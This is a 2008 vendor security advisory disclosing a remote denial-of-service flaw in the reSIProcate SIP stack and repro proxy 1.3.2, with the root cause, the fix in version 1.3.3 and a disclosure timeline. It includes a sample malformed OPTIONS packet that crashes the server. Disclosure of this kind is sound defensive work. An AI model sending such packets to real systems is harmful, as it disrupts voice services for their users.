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Remote DoS in reSIProcate [MU-200807-01]
July 10, 2008
* repro SIP proxy/registrar 1.3.2
* Any product using the reSIProcate SIP stack 1.3.2 may also be vulnerable.
reSIProcate is a SIP stack. SIP is a protocol used for voice-over-IP
telephony. repro is a SIP proxy/registrar that uses the reSIProcate SIP stack.
A malformed INVITE or OPTIONS message to the repro SIP proxy/registrar can
crash the process. The crash is caused by an assertion failure that occurs
when the domain name in the request line URI is too long
(rutil/dns/DnsStub.cxx, line 493). For example, the URI may be
"sip:email@example.comAAAAAAA...", where "sip:firstname.lastname@example.org" is followed by
256 As. To cause the crash, the address in the To header must be a valid
Example invalid packet:
OPTIONS sip:email@example.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA SIP/2.0
Via: SIP/2.0/UDP 127.0.0.1:54422;branch=z9hG4bKZqPsHMEiem;rport
To: "Bob" <sip:firstname.lastname@example.org>
From: "Alice" <sip:email@example.com>;tag=W4eHvLYEQX
CSeq: 1 OPTIONS
Vendor Response / Solution:
Update to 1.3.3, available from
This bug was also fixed by the reSIProcate development team in SVN on
April 23 (revision 7628).
July 1, 2008 - First contact with vendor
July 1, 2008 - Vendor acknowledges vulnerability
July 3, 2008 - Vendor releases 1.3.3
July 10, 2008 - Advisory released
This vulnerability was discovered by the Mu Dynamics research team.
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